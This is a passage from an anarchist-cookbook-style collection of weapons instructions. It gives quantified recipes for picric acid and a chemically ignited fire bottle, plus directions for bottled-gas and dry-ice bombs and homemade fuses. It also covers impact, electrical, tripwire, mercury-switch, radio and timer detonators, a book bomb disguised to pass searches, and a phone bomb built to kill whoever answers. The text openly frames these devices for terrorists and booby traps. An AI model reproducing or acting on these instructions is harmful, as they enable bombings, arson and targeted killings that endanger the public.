is to replace the fuel oil with a wax fuel. Mix the AN with +just enough melted wax to form a cohesive mixture, mold into s hape. The wax fuels, and retains the mixture. This is what the US military uses +as a man placed cratering charge. The military literature states this can be set off by a blasting cap, but it is important to remember the military +blasting caps are considerable more powerful than commercial ones. The military rightly insists on reliability, and thus a strong cap (maybe 70- +80 percent stronger than commercial). They also tend to go overboard when calculating demolition charges...., but hey, who doesn't... +Two manuals of interest: Duponts "Blaster's Handbook", $20 manual mainly useful for rock and seismographic operations. Atlas's "Powder +Manual" or "Manual of Rock Blasting" (I forget the title, its in the office). This is a $60 book, well worth the cash, dealing with the above two +topics, plus demolitions, and non-quarry blasting. +Incidentally, combining fuel oil and ammonium nitrate constitutes the manufacture of a high explosive, and requires a federal permit to +manufacture and store. Even the mines that mix it on site require the permit to manufacture. Those who don't manufacture only need permits to +store. Those who don't store need no permits, which includes most of us: anyone, at least in the US may purchase explosives, provided they +are 21 or older, and have no criminal record. Note they ought to be used immediately, because you do need a license to store. Note also that +commercial explosives contain quantities of tracing agents, which make it real easy for the FBI to trace the explosion to the purchaser, so +please, nobody blow up any banks, orphanages, or old folks homes, okay. +202.Picric Acid by Exodus +Picric acid, also known as Tri-Nitro-Phenol, or TNP, is a military explosive that is most often used as a booster charge to set off another less +sensitive explosive, such as TNT. It's another explosive that is fairly simple to make, assuming that one can acquire the concentrated sulfuric +and nitric acids. Its procedure for manufacture is given in many college chemistry lab manuals, and is easy to follow. The main problem with +picric acid is its tendency to form dangerously sensitive and unstable picrate salts, such as potassium picrate. For this reason, it is usually +made into a safer form, such as ammonium picrate, also called explosive D. A social deviant would probably use a formula similar to the one +presented here to make picric acid. +MATERIALS: + Phenol (9 g) + Concentrated Sulfuric Acid (12 mL) + Concentrated Nitric Acid (38 mL) + Distilled Water +EQUIPMENT: + 500 mL Flask + Adjustable Heat Source + 1000 mL Beaker -or- other container suitable for boiling in + Filter Paper and Funnel + Glass Stirring Rod +1.Place 9 grams of phenol into the 500 mL flask, and carefully add 12 mL of concentrated sulfuric acid and stir the mixture. +2.Put 400 mL of tap water into the 1000 mL beaker or boiling container and bring the water to a gentle boil. +3.After warming the 500 mL flask under hot tap water, place it in the boiling water, and continue to stir the mixture of phenol and acid for about +thirty minutes. After thirty minutes, take the flask out, and allow it to cool for about five minutes. +4.Pour out the boiling water used above, and after allowing the container to cool, use it to create an ice bath, similar to the one used in steps 3- +4. Place the 500 mL flask with the mixed acid an phenol in the ice bath. Add 38 mL of concentrated nitric acid in small amounts, stirring the +mixture constantly. A vigorous but "harmless" reaction should occur. When the mixture stops reacting vigorously, take the flask out of the +ice bath. +5.Warm the ice bath container, if it is glass, and then begin boiling more tap water. Place the flask containing the mixture in the boiling water, +and heat it in the boiling water for 1 to 2 hours. +6.Add 100 mL of cold distilled water to the solution, and chill it in an ice bath until it is cold. +7.Filter out the yellowish-white picric acid crystals by pouring the solution through the filter paper in the funnel. Collect the liquid and dispose of +it in a safe place, since it is corrosive. +8.Wash out the 500 mL flask with distilled water, and put the contents of the filter paper in the flask. Add 300 mL of water, and shake +vigorously. +9.Re-filter the crystals, and allow them to dry. +10.Store the crystals in a safe place in a glass container, since they will react with metal containers to produce picrates that could explode +spontaneously. +203.CHEMICAL FIRE BOTTLE by Exodus +The chemical fire bottle is really an advanced molotov cocktail. Rather than using the burning cloth to ignite the flammable liquid, which has at +best a fair chance of igniting the liquid, the chemical fire bottle utilizes the very hot and violent reaction between sulfuric acid and potassium +chlorate. When the container breaks, the sulfuric acid in the mixture of gasoline sprays onto the paper soaked in potassium chlorate and sugar. +The paper, when struck by the acid, instantly bursts into a white flame, igniting the gasoline. The chance of failure to ignite the gasoline is less +than 2%, and can be reduced to 0%, if there is enough potassium chlorate and sugar to spare. +MATERIALS: + Potassium Chlorate (2 teaspoons) + Sugar (2 teaspoons) + Concentrated Sulfuric Acid (4 oz.) + Gasoline (8 oz.) +EQUIPMENT: + 12 oz. glass bottle + Cap for bottle, with plastic inside + Cooking Pan with raised edges + Paper Towels + Glass or Plastic Cup and Spoon +1.Test the cap of the bottle with a few drops of sulfuric acid to make sure that the acid will not eat away the bottle cap during storage. If the +acid eats through it in 24 hours, a new top must be found and tested, until a cap that the acid does not eat through is found. A glass top +is excellent. +2.Carefully pour 8 oz. of gasoline into the glass bottle. +3.Carefully pour 4 oz. of concentrated sulfuric acid into the glass bottle. Wipe up any spills of acid on the sides of the bottle, and screw the +cap on the bottle. Wash the bottle's outside with plenty of water. Set it aside to dry. +4.Put about two teaspoons of potassium chlorate and about two teaspoons of sugar into the glass or plastic cup. Add about cup of boiling +water, or enough to dissolve all of the potassium chlorate and sugar. +5.Place a sheet of paper towel in the cooking pan with raised edges. Fold the paper towel in half, and pour the solution of dissolved potassium +chlorate and sugar on it until it is thoroughly wet. Allow the towel to dry. +6.When it is dry, put some glue on the outside of the glass bottle containing the gasoline and sulfuric acid mixture. Wrap the paper towel around +the bottle, making sure that it sticks to it in all places. Store the bottle in a place where it will not be broken or tipped over. +7.When finished, the solution in the bottle should appear as two distinct liquids, a dark brownish-red solution on the bottom, and a clear solution +on top. The two solutions will not mix. To use the chemical fire bottle, simply throw it at any hard surface. +8.NEVER OPEN THE BOTTLE, SINCE SOME SULFURIC ACID MIGHT BE ON THE CAP, WHICH COULD TRICKLE DOWN THE SIDE OF THE BOTTLE +AND IGNITE THE POTASSIUM CHLORATE, CAUSING A FIRE AND/OR EXPLOSION. +9.To test the device, tear a small piece of the paper towel off the bottle, and put a few drops of sulfuric acid on it. The paper towel should +immediately burst into a white flame. +BOTTLED GAS EXPLOSIVES +Bottled gas, such as butane for refilling lighters, propane for propane stoves or for bunsen burners, can be used to produce a powerful +explosion. To make such a device, all that a simple-minded anarchist would have to do would be to take his container of bottled gas and place it +above a can of Sterno or other gelatinized fuel, light the fuel and run. Depending on the fuel used, and on the thickness of the fuel container, +the liquid gas will boil and expand to the point of bursting the container in about five minutes. +In theory, the gas would immediately be ignited by the burning gelatinized fuel, producing a large fireball and explosion. Unfortunately, the +bursting of the bottled gas container often puts out the fuel, thus preventing the expanding gas from igniting. By using a metal bucket half filled +with gasoline, however, the chances of ignition are better, since the gasoline is less likely to be extinguished. Placing the canister of bottled +gas on a bed of burning charcoal soaked in gasoline would probably be the most effective way of securing ignition of the expanding gas, +since although the bursting of the gas container may blow out the flame of the gasoline, the burning charcoal should immediately re-ignite it. +Nitrous oxide, hydrogen, propane, acetylene, or any other flammable gas will do nicely. +During the recent gulf war, fuel/air bombs were touted as being second only to nuclear weapons in their devastating effects. These are +basically similar to the above devices, except that an explosive charge is used to rupture the fuel container and disperse it over a wide area. A +second charge is used to detonate the fuel. The reaction is said to produce a massive shockwave and to burn all the oxygen in a large area, +causing suffocation. +Another benefit of a fuel-air explosive is that the gas will seep into fortified bunkers and other partially-sealed spaces, so a large bomb placed +in a building would result in the destruction of the majority of surrounding rooms, rendering it structurally unsound. +204.Dry Ice by Exodus +There is no standard formula for a dry ice bomb, however a generic form is as follows: +Take a 2-liter soda bottle, empty it completely, then add about 3/4 Lb of Dry Ice (crushed works best) and (optional) a quantity of water. +Depending on the condition of the bottle, the weather, and the amount and temperature of the bottle the bomb will go off in 30 seconds - 5 +minutes. Without any water added, the 2-liter bottles will go often in 3-7 minutes if dropped into a warm river, and in 45 minutes to 1 hours in +open air. +The explosion sounds equivalent to an M-100. _Plastic_ 16 oz. soda bottles and 1 liter bottles work almost as well as do the 2 -liters, however +glass bottles aren't nearly as loud, and can produce dangerous shrapnel. +Remember, these are LOUD! A classmate of mine set up 10 bottles in a nearby park without adding water. After the first two went off (there +was about 10 minutes between explosions) the Police arrived and spent the next hour trying to find the guy who they thought was setting off +M-100's all around them... +USES FOR DRY ICE +Time Bombs: +1.Get a small plastic container with lid (we used the small plastic cans that hold the coasters used for large-format Polaroid film). A film canister +would probably work; the key is, it should seal tightly and take a fair amount of effort to open). Place a chunk of dry ice in the can, put on +the lid without quite sealing it. Put the assembled bomb in your pocket, or behind your back. Approach the mark and engage in normal +conversation. When his attention is drawn away, quickly seal the lid on the bomb, deposit it somewhere within a few feet of the mark, out +of obvious sight, then leave. Depending on variables (you'll want to experiment first), you'll hear a loud "pop" and an even louder +"Aarrgghhh!" within a minute, when the CO pressure becomes sufficient to blow off the lid. In a cluttered lab, this is doubly nasty +because the mark will probably never figure out what made the noise. +2.Put 2-3 inches of water in a 2-liter plastic pop bottle. Put in as many chunks of dry ice as possible before the smoke gets too thick. Screw on +the cap, place in an appropriate area, and run like hell. After about a minute (your mileage may vary), a huge explosion will result, spraying +water everywhere, along with what's left of the 2-liter bottle. +More things to do with Dry Ice: +Has anyone ever thrown dry ice into a public pool? As long as you chuck it into the bottom of the deep end, it's safe, and it's really impressive +if the water is warm enough +"Fun stuff. It SCREAMS when it comes into contact with metal..." +"You can safely hold a small piece of dry ice in your mouth if you +KEEP IT MOVING CONSTANTLY. It looks like you're smoking or on fire." +Editor's Note: Dry ice can be a lot of fun, but be forewarned: +Using anything but plastic to contain dry ice bombs is suicidal. Dry ice is more dangerous than TNT, because it's extremely unpredictable. Even +a 2-liter bottle can produce some nasty shrapnel: One source tells me that he caused an explosion with a 2-liter bottle that destroyed a metal +garbage can. In addition, it is rumored that several kids have been killed by shards of glass resulting from the use of a glass bottle. For some +reason, dry ice bombs have become very popular in the state of Utah. As a result, dry ice bombs have been classified as infernal devices, and +possession is a criminal offense. +205.Fuses / Ignitors / Delays by Exodus +There are many ways to ignite explosive devices. There is the classic "light the fuse, throw the bomb, and run" approach, and there are +sensitive mercury switches, and many things in between. Generally, electrical detonation systems are safer than fuses, but there are times +when fuses are more appropriate than electrical systems; it is difficult to carry an electrical detonation system into a stadium, for instance, +without being caught. A device with a fuse or impact detonating fuze would be easier to hide. +FUSE IGNITION +The oldest form of explosive ignition, fuses are perhaps the favorite type of simple ignition system. By simply placing a piece of waterproof +fuse in a device, one can have almost guaranteed ignition. Modern waterproof fuse is extremely reliable, burning at a rate of about 2 seconds +to the inch. It is available as model rocketry fuse in most hobby shops, and costs about $3.00 for a nine-foot length. Cannon Fuse is a popular +ignition system for pipe bombers because of its simplicity. All that need be done is light it with a match or lighter. Of course, if the Army had +fuses like this, then the grenade, which uses fuse ignition, would be very impractical. If a grenade ignition system can be acquired, by all +means, it is the most effective. But, since such things do not just float around, the next best thing is to prepare a fuse system which does not +require the use of a match or lighter, but still retains its simplicity. One such method is described below: +MATERIALS: + Strike-on-Cover type Matches + Electrical Tape -or- Duct Tape + Waterproof Fuse +1.To determine the burn rate of a particular type of fuse, simply measure a 6 inch or longer piece of fuse and ignite it. With a stopwatch, press +the start button the at the instant when the fuse lights, and stop the watch when the fuse reaches its end. Divide the time of burn by the +length of fuse, and you have the burn rate of the fuse, in seconds per inch. This will be shown below: +Suppose an eight inch piece of fuse is burned, and its complete time of combustion is 20 seconds. +20 seconds / 8 inches = 2 seconds per inch. +If a delay of 10 seconds was desired with this fuse, divide the desired time by the number of seconds per inch: +10 seconds / 2 seconds per inch = 4 inches +NOTE: THE LENGTH OF FUSE HERE MEANS LENGTH OF FUSE TO THE POWDER. SOME FUSE, AT LEAST AN INCH, SHOULD BE INSIDE THE +DEVICE. ALWAYS ADD THIS EXTRA INCH, AND PUT THIS EXTRA INCH AN INCH INTO THE DEVICE!!! +2.After deciding how long a delay is desired before the explosive device is to go off, add about an inch to the premeasured amount of fuse, +and cut it off. +3.Carefully remove the cardboard matches from the paper match case. Do not pull off individual matches; keep all the matches attached to the +cardboard base. Take one of the cardboard match sections, and leave the other one to make a second igniter. +4.Wrap the matches around the end of the fuse, with the heads of the matches touching the very end of the fuse. Tape them there securely, +making sure not to put tape over the match heads. Make sure they are very secure by pulling on them at the base of the assembly. They +should not be able to move. +5.Wrap the cover of the matches around the matches attached to the fuse, making sure that the striker paper is below the match heads and +the striker faces the match heads. Tape the paper so that is fairly tight around the matches. Do not tape the cover of the striker to the fuse +or to the matches. Leave enough of the match book to pull on for ignition. +_____________________ +\ / +\ / ------ match book cover +\ / +| M|f|M ---|------- match head +| A|u|A | +| T|s|T | +| C|e|C | +|tapeH|.|Htape| +| |f| | +|#####|u|#####|-------- striking paper +|#####|s|#####| +\ |e| / +\ |.| / +\ |f| / +\ |u| / +|ta|s|pe| +|ta|e|pe| +|.| +|.| +|_| +The match book is wrapped around the matches, and is taped to itself. The matches are taped to the fuse. The striker will rub against the +matcheads when the match book is pulled. +6.When ready to use, simply pull on the match paper. It should pull the striking paper across the match heads with enough friction to light them. +In turn, the burning matcheads will light the fuse, since it adjacent to the burning match heads. +HOW TO MAKE BLACKMATCH FUSE: +Take a flat piece of plastic or metal (brass or aluminum are easy to work with and won't rust). Drill a 1/16th inch hole through it. This is your die +for sizing the fuse. You can make fuses as big as you want, but this is the right size for the pipe bomb I will be getting to later. +To about cup of black powder add water to make a thin paste. Add teaspoon of corn starch. Cut some one foot lengths of cotton thread. +Use cotton, not silk or thread made from synthetic fibers. Put these together until you have a thickness that fills the hole in the die but can be +drawn through very easily. +Tie your bundle of threads together at one end. Separate the threads and hold the bundle over the black powder mixture. Lower the threads +with a circular motion so they start curling onto the mixture. Press them under with the back of a teaspoon and continue lowering them so they +coil into the paste. Take the end you are holding and thread it through the die. Pull it through smoothly in one long motion. +To dry your fuse, lay it on a piece of aluminum foil and bake it in your 250 oven or tie it to a grill in the oven and let it hang down. The fuse must +be baked to make it stiff enough for the uses it will be put to later. Air drying will not do the job. If you used Sodium Nitrate, it will not even dry +completely at room temperatures. +Cut the dry fuse with scissors into 2 inch lengths and store in an air tight container. Handle this fuse carefully to avoid breaking it. You can also +use a firecracker fuse if you have any available. The fuses can usually be pulled out without breaking. To give yourself some running time, you +will be extending these fuses (blackmatch or firecracker fuse) with sulfured wick. +Finally, it is possible to make a relatively slow -burning fuse in the home. By dissolving about one teaspoon of black powder in about 1/4 a cup +of boiling water, and, while it is still hot, soaking in it a long piece of all cotton string, a slow -burning fuse can be made. After the soaked string +dries, it must then be tied to the fuse of an explosive device. Sometimes, the end of the slow burning fuse that meets the normal fuse has a +charge of black powder or gunpowder at the intersection point to insure ignition, since the slow -burning fuse does not burn at a very high +temperature. +A similar type of slow fuse can be made by taking the above mixture of boiling water and black powder and pouring it on a long piece of toilet +paper. The wet toilet paper is then gently twisted up so that it resembles a firecracker fuse, and is allowed to dry. +HOW TO MAKE SULFURED WICK +Use heavy cotton string about 1/8th inch in diameter. You can find some at a garden supply for tying up your tomatoes. Be sure it's cotton. +You can test it by lighting one end. It should continue to burn after the match is removed and when blown out will have a smoldering coal on +the end. Put some sulfur in a small container like a small pie pan and melt it in the oven at 250�. +It will melt into a transparent yellow liquid. If it starts turning brown, it is too hot. Coil about a one foot length of string into it. The melted sulfur +will soak in quickly. When saturated, pull it out and tie it up to cool and harden. +It can be cut to desired lengths with scissors. 2 inches is about right. These wicks will burn slowly with a blue flame and do not blow out +easily in a moderate wind. They will not burn through a hole in a metal pipe, but are great for extending your other fuse. They will not throw off +sparks. Blackmatch generates sparks which can ignite it along its length causing unpredictable burning times. +---IMPACT IGNITION--- +Impact ignition is an excellent method of ignition for spontaneous terrorist activities. The problem with an impact-detonating device is that it must +be kept in a very safe container so that it will not explode while being transported to the place where it is to be used. This can be done by +having a removable impact initiator. +The best and most reliable impact initiator is one that uses factory made initiators or primers. A No. 11 cap for black powder firearms is one +such primer. They usually come in boxes of 100, and cost about $2�0. To use such a cap, however, one needs a nipple that it will fit on. Black +powder nipples are also available in gun stores. All that a person has to do is ask for a package of nipples and the caps that fit them. Nipples +have a hole that goes all the way through them, and they have a threaded end, and an end to put the cap on. A cutaway of a nipple is shown +below: +________________ +| | +_ | | +| | |/\/\/\/\/\/\/\/\| +_______| |^^^^^^^| +| ___________| +| | +No. 11 |_______| +percussion _______ ------- Threads for screwing +cap : +here |__________ nipple onto bomb +|____ | +| |^^^^^^^^^| +|_| |/\/\/\/\/\/\/\/\/| +| | +|_________________| +When making using this type of initiator, a hole must be drilled into whatever container is used to make the bomb out of. The nipple is then +screwed into the hole so that it fits tightly. Then, the cap can be carried and placed on the bomb when it is to be thrown. The cap should be +bent a small amount before it is placed on the nipple, to make sure that it stays in place. The only other problem involved with an impact +detonating bomb is that it must strike a hard surface on the nipple to set it off. By attaching fins or a small parachute on the end of the bomb +opposite the primer, the bomb, when thrown, should strike the ground on the primer, and explode. Of course, a bomb with mercury fulminate in +each end will go off on impact regardless of which end it strikes on, but mercury fulminate is also likely to go off if the person carrying the +bomb is bumped hard. +---MAGICUBE IGNITOR--- +A VERY SENSITIVE and reliable impact initiator can be produced from the common MAGICUBE ($2.40 for 12) type flashbulbs. Simply crack the +plastic cover off, remove the reflector, and you will see 4 bulbs, each of which has a small metal rod holding it in place. +CAREFULLY grasp this rod with a pair of needle-nose pliers, and pry gently upwards, making sure that NO FORCE IS APPLIED TO THE GLASS +BULB. +Each bulb is coated with plastic, which must be removed for them to be effective in our application. This coating can be removed by soaking +the bulbs in a small glass of acetone for 30-45 minutes, at which point the plastic can be easily peeled away. +The best method to use these is to dissolve some nitrocellulose based smokeless powder in acetone and/or ether, forming a thick glue-like +paste. Coat the end of the fuse with this paste, then stick the bulb (with the metal rod facing out) into the paste. About half the bulb should be +completely covered, and if a VERY THIN layer of nitrocellulose is coated over the remainder then ignition should be very reliable. +To insure that the device lands with the bulb down, a small streamer can be attached to the opposite side, so when it is tossed high into the air +the appropriate end will hit the ground first. +---ELECTRICAL IGNITION--- +Electrical ignition systems for detonation are usually the safest and most reliable form of ignition. Electrical systems are ideal for demolition +work, if one doesn't have to worry so much about being caught. With two spools of 500 ft of wire and a car battery, one can detonate +explosives from a "safe", comfortable distance, and be sure that there is nobody around that could get hurt. With an electrical system, one can +control exactly what time a device will explode, within fractions of a second. Detonation can be aborted in less than a second's warning, if a +person suddenly walks by the detonation sight, or if a police car chooses to roll by at the time. The two best electrical igniters are military +squibs and model rocketry igniters. Blasting caps for construction also work well. Model rocketry igniters are sold in packages of six, and cost +about $1.00 per pack. All that need be done to use them is connect it to two wires and run a current through them. Military squibs are difficult +to get, but they are a little bit better, since they explode when a current is run through them, whereas rocketry igniters only burst into flame. +Most squibs will NOT detonate KClO3/petroleum jelly or RDX. This requires a blasting cap type detonation in most cases. There are, however, +military explosive squibs which will do the job. +Igniters can be used to set off black powder, mercury fulminate, or guncotton, which in turn, can set of a high order explosive. +---HOW TO MAKE AN ELECTRIC FUZE--- +By Capt. Hack & GW +Take a flashlight bulb and place it glass tip down on a file. Grind it down on the file until there is a hole in the end. Solder one wire to the case +of the bulb and another to the center conductor at the end. Fill the bulb with black powder or powdered match head. One or tw o flashlight +batteries will heat the filament in the bulb causing the powder to ignite. +---ANOTHER ELECTRIC FUZE--- +Take a medium grade of steel wool and pull a strand out of it. Attach it to the ends of two pieces of copper wire by wrapping it around a few +turns and then pinch on a small piece of solder to bind the strand to the wire. You want about inch of steel strand between the wires. +Number 18 or 20 is a good size wire to use. +Cut a by 1 inch piece of cardboard of the type used in match covers. Place a small pile of powdered match head in the center and press it +flat. Place the wires so the steel strand is on top of and in contact with the powder. Sprinkle on more powder to cover the strand. +The strand should be surrounded with powder and not touching anything else except the wires at its ends. Place a piece of blackmatch in +contact with the powder. Now put a piece of masking tape on top of the lot, and fold it under on the two ends. Press it down so it sticks all +around the powder. The wires are sticking out on one side and the blackmatch on the other. +A single flashlight battery will set this off. +---ELECTRO-MECHANICAL IGNITION--- +Electro-mechanical ignition systems are systems that use some type of mechanical switch to set off an explosive charge electrically. This type +of switch is typically used in booby traps or other devices in which the person who places the bomb does not wish to be anywhere near the +device when it explodes. Several types of electro-mechanical detonators will be discussed +---Mercury Switches --- +Mercury switches are a switch that uses the fact that mercury metal conducts electricity, as do all metals, but mercury metal is a liquid at room +temperatures. A typical mercury switch is a sealed glass tube with two electrodes and a bead of mercury metal. It is sealed because of +mercury's nasty habit of giving off brain-damaging vapors. The diagram below may help to explain a mercury switch. +______________ +A / \ B +_____wire +______/_________ \ +\ ( Hg )| / +\ _(_Hg___)|___/ +| +| +wire - | +| +| +When the drop of mercury ("Hg" is mercury's atomic symbol) touches both contacts, current flows through the switch. If this particular switch +was in its present position, A---B, current would be flowing, since the mercury can touch both contacts in the horizontal position. +If, however, it was in the | position, the drop of mercury would only touch the + contact on the A side. Current, then couldn't flow, since +mercury does not reach both contacts when the switch is in the vertical position. This type of switch is ideal to place by a door. If it were +placed in the path of a swinging door in the vertical position, the motion of the door would knock the switch down, if it was held to the ground +by a piece if tape. This would tilt the switch into the vertical position, causing the mercury to touch both contacts, allowing current to flow +through the mercury, and to the igniter or squib in an explosive device. +---Tripwire Switches --- +A tripwire is an element of the classic booby trap. By placing a nearly invisible line of string or fishing line in the probable path of a victim, and +by putting some type of trap there also, nasty things can be caused to occur. If this mode of thought is applied to explosives, how would one +use such a tripwire to detonate a bomb. The technique is simple. By wrapping the tips of a standard clothespin with aluminum foil, and placing +something between them, and connecting wires to each aluminum foil contact, an electric tripwire can be made, If a piece of wood attached to +the tripwire was placed between the contacts on the clothespin, the clothespin would serve as a switch. When the tripwire was pulled, the +clothespin would snap together, allowing current to flow between the two pieces of aluminum foil, thereby completing a circuit, which would +have the igniter or squib in it. Current would flow between the contacts to the igniter or squib, heat the igniter or squib, causing it to explode. +Make sure that the aluminum foil contacts do not touch the spring, since the spring also conducts electricity. +---Radio Control Detonators--- +In the movies, every terrorist or criminal uses a radio controlled detonator to set off explosives. With a good radio detonator, one can be +several miles away from the device, and still control exactly when it explodes, in much the same way as an electrical switch. The problem with +radio detonators is that they are rather costly. However, there could possibly be a reason that a terrorist would wish to spend the amounts of +money involved with a RC (radio control) system and use it as a detonator. If such an individual wanted to devise an RC detonator, all he would +need to do is visit the local hobby store or toy store, and buy a radio controlled toy. Taking it back to his/her abode, all that he/she would have +to do is detach the solenoid/motor that controls the motion of the front wheels of a RC car, or detach the solenoid/motor of the elevators/rudder +of a RC plane, or the rudder of a RC boat, and re-connect the squib or rocket engine igniter to the contacts for the solenoid/motor. The device +should be tested several times with squibs or igniters, and fully charged batteries should be in both he controller and the receiver (the part that +used to move parts before the device became a detonator). +---DELAYS--- +A delay is a device which causes time to pass from when a device is set up to the time that it explodes. A regular fuse is a delay, but it would +cost quite a bit to have a 24 hour delay with a fuse. This section deals with the different types of delays that can be employed by a terrorist +who wishes to be sure that his bomb will go off, but wants to be out of the country when it does. +---FUSE DELAYS--- +It is extremely simple to delay explosive devices that employ fuses for ignition. Perhaps the simplest way to do so is with a cigarette. An +average cigarette burns for between 8-11 minutes. The higher the "tar" and nicotine rating, the slower the cigarette burns. Low "tar" and +nicotine cigarettes burn quicker than the higher "tar" and nicotine cigarettes, but they are also less likely to go out if left unattended, i.e. not +smoked. Depending on the wind or draft in a given place, a high "tar" cigarette is better for delaying the ignition of a fuse, but there must be +enough wind or draft to give the cigarette enough oxygen to burn. People who use cigarettes for the purpose of delaying fuses will often test +the cigarettes that they plan to use in advance to make sure they stay lit and to see how long it will burn. Once a cigarettes burn rate is +determined, it is a simple matter of carefully putting a hole all the way through a cigarette with a toothpick at the point desired, and pushing the +fuse for a device in the hole formed. +|=| +|=| ---------- filter +|=| +| | +| | +|o| ---------- hole for fuse +cigarette ------------ | | +| | +| | +| | +| | +| | +| | +| | +| | +|_| ---------- light this end +---TIMER DELAYS--- +Timer delays, or "time bombs" are usually employed by an individual who wishes to threaten a place with a bomb and demand money to reveal +its location and means to disarm it. Such a device could be placed in any populated place if it were concealed properly. There are several +ways to build a timer delay. By simply using a screw as one contact at the time that detonation is desired, and using the hour hand of a clock +as the other contact, a simple timer can be made. The minute hand of a clock should be removed, unless a delay of less than an hour is +desired. +The main disadvantage with this type of timer is that it can only be set for a maximum time of 12 hours. If an electronic timer is used, such as +that in an electronic clock, then delays of up to 24 hours are possible. By removing the speaker from an electronic clock, and attaching the +wires of a squib or igniter to them, a timer with a delay of up to 24 hours can be made. All that one has to do is set the alarm time of the clock to +the desired time, connect the leads, and go away. This could also be done with an electronic watch, if a larger battery were used, and the +current to the speaker of the watch was stepped up via a transformer. This would be good, since such a timer could be extremely small. +The timer in a VCR (Video Cassette Recorder) would be ideal. VCR's can usually be set for times of up to a week. The leads from the timer to +the recording equipment would be the ones that an igniter or squib would be connected to. Also, one can buy timers from electronics stores +that would be work well. Finally, one could employ a digital watch, and use a relay, or electro-magnetic switch to fire the igniter, and the +current of the watch would not have to be stepped up. +---CHEMICAL DELAYS--- +Chemical delays are uncommon, but they can be extremely effective in some cases. These were often used in the bombs the Germans +dropped on England. The delay would ensure that a bomb would detonate hours or even days after the initial bombing raid, thereby increasing +the terrifying effect on the British citizenry. +If a glass container is filled with concentrated sulfuric acid, and capped with several thicknesses of aluminum foil, or a cap that it will eat +through, then it can be used as a delay. Sulfuric acid will react with aluminum foil to produce aluminum sulfate and hydrogen gas, and so the +container must be open to the air on one end so that the pressure of the hydrogen gas that is forming does not break the container. +_ _ +| | | | +| | | | +| | | | +| |_____________| | +| | | | +| | sulfuric | | +| | | | +| | acid | | +| | | |---------- aluminum foil +| |_____________| | (several thicknesses) +|_________________| +The aluminum foil is placed over the bottom of the container and secured there with tape. When the acid eats through the aluminum foil, it can +be used to ignite an explosive device in several ways. +1.Sulfuric acid is a good conductor of electricity. If the acid that eats through the foil is collected in a glass container placed underneath the foil, +and two wires are placed in the glass container, a current will be able to flow through the acid when both of the wires are immersed in +the acid. +2.Sulfuric acid reacts very violently with potassium chlorate. If the acid drips down into a container containing potassium chlorate, the +potassium chlorate will burst into flame. This flame can be used to ignite a fuse, or the potassium chlorate can be the igniter for a thermite +bomb, if some potassium chlorate is mixed in a 50/50 ratio with the thermite, and this mixture is used as an igniter for the rest of the +thermite. +3.Sulfuric acid reacts with potassium permanganate in a similar way. +206.Film Canisters II by Bill +For a relatively low shrapnel explosion, I suggest pouring it into an empty 35mm film canister. Poke a hole in the plastic lid for a fuse. These +goodies make an explosion audible a mile away easily. +1.Poke the hole before putting the flash powder into the canister. +2.Don't get any powder on the lip of the canister. +3.Only use a very small quantity and work your way up to the desired result. +4.Do not pack the powder, it works best loose. +5.Do not grind or rub the mixture - it is friction sensitive. +6.Use a long fuse. +207.Book Bombs by Exodus +Concealing a bomb can be extremely difficult in a day and age where perpetrators of violence run wild. Bags and briefcases are often +searched by authorities whenever one enters a place where an individual might intend to set off a bomb. One approach to disguising a bomb is +to build what is called a book bomb; an explosive device that is entirely contained inside of a book. +Usually, a relatively large book is required, and the book must be of the hardback variety to hide any protrusions of a bomb. Dictionaries, law +books, large textbooks, and other such books work well. When an individual makes a bookbomb, he/she must choose a type of book that is +appropriate for the place where the book bomb will be placed. The actual construction of a book bomb can be done by anyone who +possesses an electric drill and a coping saw. First, all of the pages of the book must be glued together. By pouring an entire container of +water-soluble glue into a large bucket, and filling the bucket with boiling water, a glue-water solution can be made that will hold all of the book's +pages together tightly. After the glue-water solution has cooled to a bearable temperature, and the solution has been stirred well, the pages of +the book must be immersed in the glue-water solution, and each page must be thoroughly soaked. +It is extremely important that the covers of the book do not get stuck to the pages of the book while the pages are drying. Suspending the book +by both covers and clamping the pages together in a vise works best. When the pages dry, after about three days to a week, a hole must be +drilled into the now rigid pages, and they should drill out much like wood. Then, by inserting the coping saw blade through the pages and +sawing out a rectangle from the middle of the book, the individual will be left with a shell of the book's pages. The pages, when drilled out, +should look like this: +________________________ +| ____________________ | +| | | | +| | | | +| | | | +| | | | +| | | | +| | | | +| | | | +| | | | +| | | | +| | | | +| | | | +| |__________________| | +|______________________| +(Book covers omitted) +This rectangle must be securely glued to the back cover of the book. After building his/her bomb, which usually is of the timer or radio +controlled variety, the bomber places it inside the book. The bomb itself, and whatever timer or detonator is used, should be packed in foam to +prevent it from rolling or shifting about. Finally, after the timer is set, or the radio control has been turned on, the front cover is glued closed, +and the bomb is taken to its destination. +208.Phone Bombs by Exodus +The phone bomb is an explosive device that has been used in the past to kill or injure a specific individual. The basic idea is simple: when the +person answers the phone, the bomb explodes. If a small but powerful high explosive device with a squib was placed in the phone receiver, +when the current flowed through the receiver, the squib would explode, detonating the high explosive in the person's hand. Nasty. All that has +to be done is acquire a squib, and tape the receiver switch down. +Unscrew the mouthpiece cover, and remove the speaker, and connect the squib's leads where it was. Place a high explosive putty, such as +C-1 in the receiver, and screw the cover on, making sure that the squib is surrounded by the C-1. Hang the phone up, and leave the tape in +place. +When the individual to whom the phone belongs attempts to answer the phone, he will notice the tape, and remove it. This will allow current to +flow through the squib. Note that the device will not explode by merely making a phone call; the owner of the phone must lift up the receiver, +and remove the tape. It is highly probable that the phone will be by his/her ear when the device explodes... +IMPROVED PHONE BOMB +The above seems overly complicated to me... it would be better to rig the device as follows: +FIRST UNPLUG THE PHONE FROM THE WALL. Wire the detonator IN LINE with the wires going to the earpiece, (may need to wire it with a relay +so the detonator can receive the full line power, not just the audio power to the earpiece) +Pack C4 into the phone body (NOT the handset) and plug it back in. When they pick up the phone, power will flow through the circuit to the +detonator.... +________ +/|------ |\ +~ | | ~ +@@@@@@@@ +@@@@@@@@@@ +@@@@@@@@@@ +209.SPECIAL AMMUNITION by Exodus +SPECIAL AMMUNITION FOR BLOWGUNS +The blowgun is an interesting weapon which has several advantages. A blowgun can be extremely accurate, concealable, and deliver an +explosive or poisoned projectile. The manufacture of an explosive dart or projectile is not difficult. To acquire a blowgun, please contact the +editor at one of the addresses given in the introduction. +Perhaps the most simple design for such involves the use of a pill capsule, such as the kind that are taken for headaches or allergies. Empty +gelatin pill capsules can be purchased from most health-food stores. Next, the capsule would be filled with an impact-sensitive explosive, +such as mercury fulminate. An additional high explosive charge could be placed behind the impact sensitive explosive, if one of the larger +capsules were used. +Finally, the explosive capsule would be reglued back together, and a tassel or cotton would be glued to the end containing the high explosive, +to 